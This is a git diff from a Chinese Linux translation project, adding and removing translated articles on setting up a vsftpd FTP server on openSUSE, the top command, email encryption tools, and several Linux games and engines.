这份由 Skövde 大学信息研究中心高级研究人员编写的正经的长达60页的文档（可以在[http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft...][3]下载）为 LibreOffice 这套健壮的办公套件提供了详尽的、深入且精准的分析。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions
|
||||
|
||||
译者：[hyaocuk](https://github.com/hyaocuk) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.libreoffice.org/
|
||||
[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744
|
||||
[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf
|
||||
189
translated/Setup FTP Server On openSUSE 13.1.md
Normal file
189
translated/Setup FTP Server On openSUSE 13.1.md
Normal file
@ -0,0 +1,189 @@
|
||||
translating by zsJacky
|
||||
|
||||
在openSUSE 13.1中配置FTP服务器
|
||||
================================================================================
|
||||
**vsftpd** （**非常****安全的****文件****传输****协议****守护进程**） 是Unix/Linux系统中的一个安全快速的FTP服务器。 在这篇 how-to 文章中，让我们看看在openSUSE 13.1中怎样使用vsftpd来配置一个基本的FTP服务器。
|
||||
|
||||
### 安装 vsftpd ###
|
||||
|
||||
作为root用户登录然后输入以下的命令。
|
||||
|
||||
# zypper in vsftpd
|
||||
|
||||
启动 vsftpd 服务然后设置让它在每次系统重启时自动启动
|
||||
|
||||
# systemctl enable vsftpd.service
|
||||
# systemctl start vsftpd.service
|
||||
|
||||
### 配置 vsftpd ###
|
||||
|
||||
为ftp用户新建一个文件夹。
|
||||
|
||||
# mkdir /srv/ftp
|
||||
|
||||
创建一个叫 **ftp-users** 的组。
|
||||
|
||||
# groupadd ftp-users
|
||||
|
||||
让我们来创建一个叫unixmen的示例用户 并设置其主目录为 **/srv/ftp** 组为**ftp-users**。
|
||||
|
||||
# useradd -g ftp-users -d /srv/ftp/ unixmen
|
||||
|
||||
为新用户设置密码。
|
||||
|
||||
# passwd unixmen
|
||||
|
||||
使ftp主目录 **/srv/ftp/** 可以被ftp用户所访问。
|
||||
|
||||
# chmod 750 /srv/ftp/
|
||||
# chown unixmen:ftp-users /srv/ftp/
|
||||
|
||||
编辑 vsftpd.conf 文件
|
||||
|
||||
# nano /etc/vsftpd.conf
|
||||
|
||||
设置如下的更改。
|
||||
|
||||
[...]
|
||||
#Uncomment and Set YES to enable write.
|
||||
write_enable=YES
|
||||
[...]
|
||||
# Uncomment and Set banner name for your website
|
||||
ftpd_banner=Welcome to Unixmen FTP service.
|
||||
[...]
|
||||
# Uncomment
|
||||
ls_recurse_enable=YES
|
||||
[...]
|
||||
# Uncomment and set YES to allow local users to log in.
|
||||
local_enable=YES
|
||||
[...]
|
||||
# To disable anonymous access, set NO.
|
||||
anonymous_enable=NO
|
||||
[...]
|
||||
# Uncomment to enable ascii download and upload.
|
||||
ascii_upload_enable=YES
|
||||
ascii_download_enable=YES
|
||||
[...]
|
||||
## Add at the end of this file ##
|
||||
use_localtime=YES
|
||||
|
||||
保存并退出文件。
|
||||
|
||||
### 测试本地FTP服务器 ###
|
||||
|
||||
首先 让我们按如下步骤尝试登陆FTP服务器
|
||||
|
||||
# ftp localhost
|
||||
Trying ::1:21 ...
|
||||
Connected to localhost.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (localhost:root): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
正如你在上面所输出的那样, 我们将能够用unixmen用户登录到ftp服务器。
|
||||
### 测试远程FTP服务器 ###
|
||||
|
||||
默认地 openSUSE内置的防火墙不允许从远程系统登陆FTP。所以让我们允许vsftpd服务通过suse的防火墙。然后我们需要打开： **Yast -> 安全性与用户 -> 防火墙**.
|
||||
|
||||
|
||||
|
||||
在防火墙界面，进入 **允许服务**. 在区域选择下拉框中，选择 **外部区域** 在服务允许下拉框中，选择 **vsftpd 服务器** 然后点击添加。
|
||||
|
||||
|
||||
|
||||
单击下一步并关闭Yast控制中心
|
||||
|
||||
现在尝试从远程系统连接FTP。
|
||||
|
||||
我试着从我的ubuntu桌面系统登录FTP服务器。
|
||||
|
||||
sk@sk:~$ ftp 192.168.1.53
|
||||
Connected to 192.168.1.53.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (192.168.1.53:sk): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
正如你在上面输出中所看到的，我将能够连接到ftp服务器。如果不允许vsftpd服务通过防火墙， 你将会得到一个连接超时的错误。
|
||||
|
||||
### 从浏览器连接 ###
|
||||
|
||||
打开你的浏览器并导航到**ftp://ip-address/**。输入ftp用户名和密码。
|
||||
|
||||
|
||||
|
||||
### 使用FileZilla连接到FTP服务器 ###
|
||||
|
||||
对于新手来说，在命令行模式下工作可能会很烦恼。所以让我们来安装一个叫[**Filezilla**][1]的图形化的FTP客户端。它可以让我们登陆FTP变得更加简单:
|
||||
|
||||
几乎所有的发行版在他们的官方软件仓库中都有filezilla客户端。 为了在基于Linux的系统上安装filezilla 需要键入以下的命令:
|
||||
|
||||
在基于Ubuntu的系统中:
|
||||
|
||||
$ sudo apt-get install filezilla
|
||||
|
||||
在Fedora/Redhat系统中:
|
||||
|
||||
$ sudo yum install filezilla
|
||||
在openSUSE中:
|
||||
|
||||
# zypper in filezilla
|
||||
|
||||
安装完fielzilla后打开它。输入ftp服务器的IP地址，用户名和密码，然后点击快速链接。
|
||||
|
||||
|
||||
|
||||
为了增加安全性，你可以通过将用户添加到 **/etc/vsftpd.chroot_list**文件中来限制特定用户对FTP服务器的访问。
|
||||
|
||||
编辑 vsftpd.conf 文件,
|
||||
|
||||
nano /etc/vsftpd.conf
|
||||
|
||||
设置如下的更改.
|
||||
|
||||
[...]
|
||||
# Uncomment and set YES
|
||||
chroot_local_user=YES
|
||||
chroot_list_enable=YES
|
||||
chroot_list_file=/etc/vsftpd.chroot_list
|
||||
[...]
|
||||
|
||||
创建 **文件 /etc/vsftpd.chroot_list**,
|
||||
|
||||
nano /etc/vsftpd.chroot_list
|
||||
|
||||
添加你希望其能够访问FTP服务器的用户。我添加了用户**unixmen**。
|
||||
|
||||
unixmen
|
||||
|
||||
重启ftp服务.
|
||||
|
||||
# systemctl restart vsftpd.service
|
||||
|
||||
现在你将能够使用chroot_list文件中列出的用户来连接到FTP服务器。
|
||||
|
||||
如果chroot_list以外的用户想访问FTP服务器， 他们将得到如下的错误。
|
||||
|
||||
500 OOPS: could not read chroot() list file:/etc/vsftpd.chroot_list
|
||||
ftp: Login failed
|
||||
|
||||
现在就是这样。 你的FTP服务器已经可以使用了。 享受吧!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/setup-ftp-server-opensuse-13-1/
|
||||
|
||||
译者：[zsJacky](https://github.com/译者ID) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://filezilla-project.org/
|
||||
@ -1,26 +0,0 @@
|
||||
用Briquolo,打砖块游戏,测试你的反应速度
|
||||
|
||||
================================================================================
|
||||
|
||||
[Briquolo][2]是一款快速而又迷人的游戏，处理一个球来破坏不同的物体，经典而又令人愉悦。
|
||||
|
||||
Briquolo十分考验敏捷，因此，游戏玩家必需时刻注意球的走向，一不留神就可能让球掉落。
|
||||
|
||||
启动游戏后，玩家会意识到这是一款3D游戏，以3D对象展现的华丽木块浮动在一个多彩的环境里，当击破木块时有机率掉落特殊物体，毫无疑问获取它们是至关重要的，会改变球或滑板的状态，比如球会加速，但有时候也会给你带来麻烦。
|
||||
|
||||
通过音乐和其他选项的修改，到达精致的效果(包括游戏全屏，高分辨率，--可调至1920×1080--)呈现一个有趣而又富有挑战性的Briquolo。
|
||||
|
||||
|
||||
|
||||
Briquolo 0.5.7是[可靠的][2]自由软件,可通过Ubuntu软件中心安装(Ubuntu 12.04, Ubuntu 12.04, Ubuntu 13.04, Ubuntu 13.10, Ubuntu 14.04)。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/test-your-reflexes-briquolo-fast-breakout-game
|
||||
|
||||
译者：[Luoxcat](https://github.com/Luoxcat) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://briquolo.free.fr/en/
|
||||
[2]:apt://briquolo
|
||||
34
translated/Top Email Encryption Tools.md
Normal file
34
translated/Top Email Encryption Tools.md
Normal file
@ -0,0 +1,34 @@
|
||||
超赞的电子邮件加密工具
|
||||
================================================================================
|
||||
电子邮件仍然是 Linux 操作系统下最受欢迎，也是最有效的服务之一。无论何时，与你的朋友、家人还有同事保持联络都是不可或缺的。随着电子邮件敲诈事件的剧增，操作系统对电子邮件的安全与加密工作变得越来越复杂，也越来越重要。保护电子邮件免于未经授权的访问与查阅是关键环节，因为电子邮件管理协议中并未包含加密部分。电子邮件在设计初并未考虑隐私和安全问题。匮乏的安全措施所导致的后果是一封电子邮件既可以存在于发送设备，也可以存在于交互网络、服务器，或者是接收设备上。
|
||||
|
||||
保护电子邮件信息安全的方法之一，是发送经过加密的信息。通过信息加密，你可以确保信息在发送过程中不会泄露，未经授权者只能看到毫无意义的乱码。电子邮件加密听起来很高端，事实上由专门的软件来实现再容易不过。
|
||||
|
||||
OpenPGP 是使用最广泛的电子邮件加密协议标准。无论你使用的是电子邮件客户端，还是 Web 客户端，你都可以通过 OpenPGP 协议来加密你的电子邮件。
|
||||
|
||||
很少有哪些电子邮件应用程序会默认安装 PGP 协议。不过幸运的是，Linux 下有不少简单而又易用的开源加密软件。
|
||||
|
||||
为了更直观地对比这些加密软件的效果，我们列出了以下清单。
|
||||
|
||||
现在，让我们仔细研究这四款电子邮件加密软件。每个标题下我们都收集了软件各自的特征，用完整的描述进行了深度分析，同时也附上了资源链接与评论。
|
||||
|
||||
### 电子邮件加密工具 ###
|
||||
|
||||
- [Enigmail][1] Mozilla 系列的 OpenPGP 电子邮件加密软件
|
||||
|
||||
- [Mailvelope][2] 谷歌与火狐浏览器的扩展插件
|
||||
- [GnuPG][3] 加密模糊数据通信
|
||||
- [Mymail-Crypt for Gmail][4] 简易电子邮件加密软件
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.linuxlinks.com/article/2013120707481589/EmailEncryption.html
|
||||
|
||||
译者：[SteveArcher](https://github.com/SteveArcher) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.enigmail.net/
|
||||
[2]:http://www.mailvelope.com/
|
||||
[3]:http://www.gnupg.org/
|
||||
[4]:https://chrome.google.com/webstore/detail/mymail-crypt-for-gmail/jcaobjhdnlpmopmjhijplpjhlplfkhba
|
||||
@ -0,0 +1,46 @@
|
||||
UNIGINE 可能是 Linux 上最好的游戏引擎
|
||||
================================================================================
|
||||
**UNIGINE，是一个实时的 3D 引擎，它能够在所有主流的平台上运行，包括 Linux，并刚刚升级到新的版本，带给了我们一些重要的新特性。**
|
||||
|
||||
|
||||
|
||||
Unigine 引擎正是由 Unigine 公司开发的， 同时这公司还开发了 Heaven DX11 基准测试软件。 这公司开发的技术总是越来越好，并且随着他们最近在 Linux 平台上的扩展，我们真的很高兴看到这引擎在最近时间作出的重大的更新。
|
||||
|
||||
在 UNIGINE 引擎最近作出的更新中，最大的更新是通用图像生成器接口 (Common Image Generator Interface/CIGI) 协议。
|
||||
|
||||
据引擎的开发者说，这个接口在模拟行业中，是一种用于主机设备与图像生成器 (IG) 之间通信的标准方法来的。
|
||||
|
||||
### 新款 UNIGINE 引擎的亮点 ###
|
||||
|
||||
- 在笛卡尔坐标系中增加了对 WGS84，ECF 和 NED 坐标系的支持（这会帮助开发者更好地在用 Unigine 开发的项目中使用实时的 GIS 数据）；
|
||||
- 实施了游戏框架，这样使得游戏更加容易地创建，同时这种特性包括实体与节点的自动链接、层次与世界的自动链接、实体对象管理、贯穿所有层次的游戏全局上下文、事件处理系统、最佳的实体更新等等。
|
||||
- 增加渲染时帧率的稳定性。
|
||||
- 两个新的选项，2D 噪音和 3D 噪音（编辑器中的状态选项卡），已被添加到 mesh_leaf_base 材质中。
|
||||
- 一个新的参数，遮挡屏蔽，已经被添加到所有的材质中。
|
||||
- 密杂草丛的高度现已实现同步。
|
||||
- 修复了在渲染非 Flash 闪屏时崩溃的漏洞。
|
||||
|
||||
所有平台的完整新特性列表，可以在官方的[公告]中找到。[1].
|
||||
|
||||
要记住 UNIGINE 引擎只针对商业企业，并不向广大用户提供试用版。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/UNIGINE-Is-Probably-the-Best-Gaming-Engine-on-Linux-404484.shtml
|
||||
|
||||
译者：[hyaocuk](https://github.com/hyaocuk) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.unigine.com/devlog/2013/11/27/113
|
||||
[2]:
|
||||
[3]:
|
||||
[4]:
|
||||
[5]:
|
||||
[6]:
|
||||
[7]:
|
||||
[8]:
|
||||
[9]:
|
||||
[10]:
|
||||
[11]:
|
||||
[12]:
|
||||
@ -1,290 +0,0 @@
|
||||
难以置信！ 30个top命令示例以及截图
|
||||
================================================================================
|
||||
Linux中的top命令显示系统上正在运行的进程。它是系统管理员最重要的工具之一。被广泛用于监视服务器的负载。在本篇中，我们会探索top命令的细节。top命令是一个交互命令。在运行top的时候还可以运行很多命令。我们也会探索这些命令。
|
||||
|
||||
### 1. Top 命令输出: ###
|
||||
|
||||
首先，让我们理解一下输出。top命令会显示系统的很多信息。我们需要理解不同部分输出的意义：默认运行，top命令会显示如下输出：
|
||||
|
||||
|
||||
|
||||
|
||||
First few lines are horizontal showing summary about different system 前几行水平显示了不同系统参数的概括，接下来是进程和它们在列中的属性。
|
||||
|
||||
#### 1.1 系统运行时间和平均负载： ####
|
||||
|
||||
|
||||
|
||||
top命令的顶部显示与uptime命令相似的输出。
|
||||
|
||||
这些字段显示：
|
||||
|
||||
- 当前时间
|
||||
- 系统运行的时间
|
||||
- 登陆用户的数量
|
||||
- 相应最近5、10和15分钟内的平均负载。
|
||||
|
||||
无法使用'l'命令触发uptime的显示。
|
||||
|
||||
#### 1.2 任务: ####
|
||||
|
||||
|
||||
|
||||
第二行显示的是任务或者进程的总结。进程可以在不同的状态。他显示了全部进程的数量。除此之外，还有正在运行、睡眠、停止、僵尸进程的数量(僵尸是一种进程的状态，这些进程概括可以用't'触发)。
|
||||
|
||||
#### 1.3 CPU 状态: ####
|
||||
|
||||
|
||||
|
||||
下一行显示的是CPU状态。 这里显示了不同模式下的CPU时间 %age。这些不同的CPU时间表示:
|
||||
|
||||
- us, user： 运行(未调整优先级的) 用户进程的CPU时间
|
||||
- sy，system: 运行内核进程的CPU时间
|
||||
- ni，niced：运行已调整优先级的用户进程的CPU时间
|
||||
- wa，IO wait: 用于等会IO完成的CPU时间
|
||||
- hi：处理硬件中断的CPU时间
|
||||
- si: 处理软件中断的CPU时间
|
||||
- st：被hypervisor偷去用于vm的CPU时间。
|
||||
|
||||
这个无法使用't'命令触发。
|
||||
|
||||
#### 1.4 内存使用: ####
|
||||
|
||||
|
||||
|
||||
接下来两行显示内存使用率，有点像'free'命令。第一行是物理内存使用，第二行是虚拟内存使用(交换空间)。
|
||||
|
||||
物理内存显示如下:全部可用内存、已使用内存、空闲内存、缓冲内存。相似地：交换反映的是：全部、已使用、空闲和缓冲交换空间。内存显示可以用'm'命令触发。
|
||||
|
||||
#### 1.5 字段/列: ####
|
||||
|
||||
|
||||
|
||||
在水平的系统属性和状态后，下面是以列显示的进程。不同的列代表下面要讨论的不同的属性。
|
||||
|
||||
默认上，top显示这些关于进程的属性。
|
||||
|
||||
**PID**
|
||||
进程ID，进程的唯一标识符
|
||||
|
||||
**USER**
|
||||
进程所有者的实际用户名。
|
||||
|
||||
**PR**
|
||||
进程的调度优先级。这个字段的一些值是'rt'。这意味这这些进程运行在实时态。
|
||||
|
||||
**NI**
|
||||
进程的nice值。低的值意味这更高的优先级。
|
||||
|
||||
**VIRT**
|
||||
进程使用的虚拟内存。
|
||||
|
||||
**RES**
|
||||
驻留内存大小。驻留内存是任务使用的非交换物理内存大小。
|
||||
|
||||
**SHR**
|
||||
SHR是进程使用的共享内存。
|
||||
|
||||
**S**
|
||||
这个是进程的状态。它有以下不同的值:
|
||||
|
||||
- D - 不可中断的睡眠态。
|
||||
- R – 运行态
|
||||
- S – 睡眠态
|
||||
- T – 被追踪或已停止
|
||||
- Z – 僵尸态
|
||||
|
||||
**%CPU**
|
||||
自从上一次更新时到现在任务所使用的CPU时间百分比。
|
||||
|
||||
**%MEM**
|
||||
进程使用的可用物理内存百分比。
|
||||
|
||||
**TIME+**
|
||||
任务启动后到现在所使用的全部CPU时间，精确到百分之一秒。
|
||||
|
||||
**COMMAND**
|
||||
运行进程所使用的命令。
|
||||
|
||||
还有许多在默认情况下不会显示的输出，它们可以显示进程的页错误、有效组和组ID和其他更多的信息。
|
||||
|
||||
### 2. 交互命令: ###
|
||||
|
||||
我们之前讨论过top是一个交互命令。上一章我们已经遇到了一些命令。这里我们会探索更多的命令。
|
||||
|
||||
#### 2.1 ‘h’: 帮助 ####
|
||||
|
||||
首先，我们可以用'h'或者'?'显示交互命令的帮助菜单。
|
||||
|
||||
|
||||
|
||||
#### 2.2 ‘<ENTER>’ 或者 ‘<SPACE>’: 刷新显示 ####
|
||||
|
||||
top命令默认在一个特定间隔(3秒)后刷新显示。要手动刷新，用户可以输入回车或者空格。
|
||||
|
||||
#### 2.3 A: 触发交替显示模式 ####
|
||||
|
||||
这个命令在全屏和交替模式间切换。在交替模式下会显示4个窗口:
|
||||
|
||||
|
||||
1. Def
|
||||
2. Job
|
||||
3. Mem
|
||||
4. Usr
|
||||
|
||||
四个字段都有唯一独立的可配置的概括区域和它自i就的任务驱动。4个窗口中只有一个窗口会成为当前窗口。当前窗口显示在左上方。
|
||||
|
||||
|
||||
|
||||
我们可以用'a'和'w'在4个 窗口间切换。'a'移到后一个窗口，'w'移到前一个窗口。用'g'命令你可以输入一个数字来选择当前窗口。
|
||||
|
||||
|
||||
|
||||
#### 2.4 B: 触发粗体显示 ####
|
||||
|
||||
Some important information is shown in bold characters. This command toggles use of bold.
|
||||
一些重要信息会以加粗字体显示。这个命令触发使用粗体。
|
||||
|
||||
|
||||
|
||||
#### 2.5 ‘d’ or ‘s’: 设置显示的时间间隔 ####
|
||||
|
||||
当按下'd'或's'时，你将被提示输入一个值（以秒为单位），它会以设置的值作为显示间隔。如果你这里输入了1, top将会每秒刷新。
|
||||
|
||||
|
||||
|
||||
#### 2.6 ‘l’、‘t’、‘m’: 触发负载、任务、内存信息 ####
|
||||
|
||||
这会相应地触发平均负载、任务/CPU状态和内存信息。
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
#### 2.7 ‘f’: 字段管理 ####
|
||||
|
||||
用于选择你想要显示的字段。用'*'标记的是已选择的。
|
||||
|
||||
|
||||
|
||||
‘<’ and ‘>’
|
||||
'<'移动已排序的字段到左边，'>'则移动到右边。
|
||||
|
||||
#### 2.8 ‘R’: 反向排序 ####
|
||||
|
||||
触发反向/常规排序。
|
||||
|
||||
#### 2.9 ‘c’: 触发命令 ####
|
||||
|
||||
触发显示进程启动时的完整路径和程序名。
|
||||
|
||||
|
||||
|
||||
#### 2.10 ‘i’: Idle Tasks ####
|
||||
|
||||
触发空闲任务。
|
||||
|
||||
|
||||
|
||||
#### 2.11 ‘V’: 树试图 ####
|
||||
|
||||
触发树视图。
|
||||
|
||||
|
||||
|
||||
#### 2.12 ‘Z’: 改变颜色映射 ####
|
||||
|
||||
按下'Z'向用户显示一个top命令的输出颜色可以改变的屏幕。这里有8个任务区域和8种颜色。
|
||||
|
||||
|
||||
|
||||
下面显示的是4中颜色显示的top视图。
|
||||
|
||||
|
||||
|
||||
#### 2.13 ‘z’: 触发彩色 ####
|
||||
|
||||
触发彩色，即打开或关闭彩色显示。
|
||||
|
||||
#### 2.14 ‘x’ 或者 ‘y’ ####
|
||||
|
||||
触发高亮：'x'排序字段;'y'运行进程。依赖于你的显示设置，你可能需要让输出彩色画来通知这些高亮。
|
||||
|
||||
|
||||
|
||||
#### 2.15 ‘u’: 用户的进程 ####
|
||||
|
||||
显示特定用户的进程。你会被提示输入用户名。空白将会显示全部用户。
|
||||
|
||||
|
||||
|
||||
#### 2.16 ‘n’ or ‘#’: 任务的数量 ####
|
||||
|
||||
设置最大显示的任务数量
|
||||
|
||||
|
||||
|
||||
#### 2.17 ‘k’: 结束任务 ####
|
||||
|
||||
top命令中最重要的一个命令。用于发送信号给任务(通常是结束任务)。
|
||||
|
||||
|
||||
|
||||
#### 2.18 ‘r’: 重新调整优先级 ####
|
||||
|
||||
重新调整一个任务的调度优先级。
|
||||
|
||||
### 3. 命令行选项: ###
|
||||
|
||||
大多数这些命令行选项与上面讨论的命令相同。top的输出可以用命令交互操作。但是你可以带参数运行top来设置你想要的。
|
||||
|
||||
#### 3.1 -b: 批处理模式 ####
|
||||
|
||||
-b选项以批处理模式启动top命令。当你想要在文件中保存输出时是很有用的。
|
||||
|
||||
#### 3.2 -c: 命令/程序名 触发: ####
|
||||
|
||||
如上面所讨论到的命令，这个选项会以上次记住的程序/命令显示的状态显示。
|
||||
|
||||
#### 3.3 -d: 设置延迟间隔 ####
|
||||
|
||||
设置top的显示间隔(以秒计)。比如。
|
||||
|
||||
$ top -d 1
|
||||
|
||||
将会以1s的时间间隔启动top
|
||||
|
||||
#### 3.4 -i: 空闲进程触发 ####
|
||||
|
||||
这个选项设置top命令的上一次记住的相反的'i'状态。
|
||||
|
||||
#### 3.5 -n: 设置迭代数量 ####
|
||||
|
||||
用-n选项，你可以设置top退出前迭代的次数。
|
||||
|
||||
$ top -n 3
|
||||
|
||||
将会在3次输出后退出。
|
||||
|
||||
#### 3.6 -p: 监控特定的PID ####
|
||||
|
||||
你可以用-p选项监控指定的PID。PID的值为0将被作为top命令自身的PID。
|
||||
|
||||
#### 3.7 -u or -U: 用户名 或者 UID ####
|
||||
|
||||
可以用这些选项浏览特定用户的进程。用户名或者UID可以在选项中指定。-p、-u和-U选项是互斥的。同时只可以使用这其中一个选项。当你试图组合使用这些选项时，你会得到一个错误:
|
||||
|
||||
$ top -p 28453 -u raghu
|
||||
top: conflicting process selections (U/p/u)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/linux-top-command-examples-screenshots/
|
||||
|
||||
译者：[geekpi](https://github.com/geekpi) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
@ -0,0 +1,41 @@
|
||||
Unvanquished 可能成为Linux上最好的免费多人游戏
|
||||
================================================================================
|
||||
**Unvanquished，一款免费的、开源的并将实时策略元素和未来科幻设定相结合的第一人称视角的射击游戏，已经收到了它的第22次更新。事实上，版本是22.1，但是是谁在计数呢？**
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
即便Unvanquished仍处在内部测试阶段，但开发者们已经添加了很多新特性，使得这款游戏的可玩性更强。
|
||||
|
||||
Unvanquished的内部测试版22. 1已经接受了一些改变。包括引擎，游戏设置，一个新地图，一个已有地图的新版本，
|
||||
还有更多。
|
||||
|
||||
Snowstation是集成在这款游戏中的新地图。据开发者透露，它拥有一个简单的设计，必要的环路和用来形成这个环路的一部分的雪地场景。
|
||||
|
||||
公告里写道：“我们使用C++编写所有的引擎代码。一些地方变得有点不同——一些指令被略微更改或重命名，一些输出看起来不同。你可能会注意到在进行标记结构时，需要重新绑定关键字。原因是/if已经失去修改关键字的支持，你需要使用/modcase代替”。
|
||||
|
||||
### Unvanquished Alpha 22.1的亮点：###
|
||||
|
||||
• 喷气机已经被加入。玩家必须按住跳跃键然后飞翔 - 但你不能一直翱翔，你只有有限的燃料；
|
||||
• 被报告的“受到攻击”消息的原因已经被改变；
|
||||
• 当接近合适的建筑时，人类的武器将被自动填充或充电,而不是使用；
|
||||
• 中继器现在是有效的小型反应堆，当周围没有反应堆时，它们能提供能量；
|
||||
• 在OpenGL 2.1的环境中FXAA和Mesa一起工作。
|
||||
|
||||
关于这款看起来让人很惊奇的游戏的更多细节可以在官方网站 [网址][1]上找到。请注意这是一个正在进行中的工作，所以错误是一定会出现的。
|
||||
|
||||
**立即下载Unvanquished Alpha 22.1**
|
||||
|
||||
- [Debian/Ubuntu DEB ALL][2][ubuntu_deb] [0 KB]
|
||||
- [Arch Linux package][2][binary] [0 KB]
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://news.softpedia.com/news/Unvanquished-Will-Probably-Be-the-Best-Free-Multiplayer-Game-on-Linux-405956.shtml
|
||||
|
||||
译者：[KayGuoWhu](https://github.com/KayGuowhu) 校对：[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译，[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.unvanquished.net/news/111-it-s-release-time-again-alpha-22
|
||||
[2]:http://www.unvanquished.net/download#linux
|
||||
Loading…
Reference in New Issue
Block a user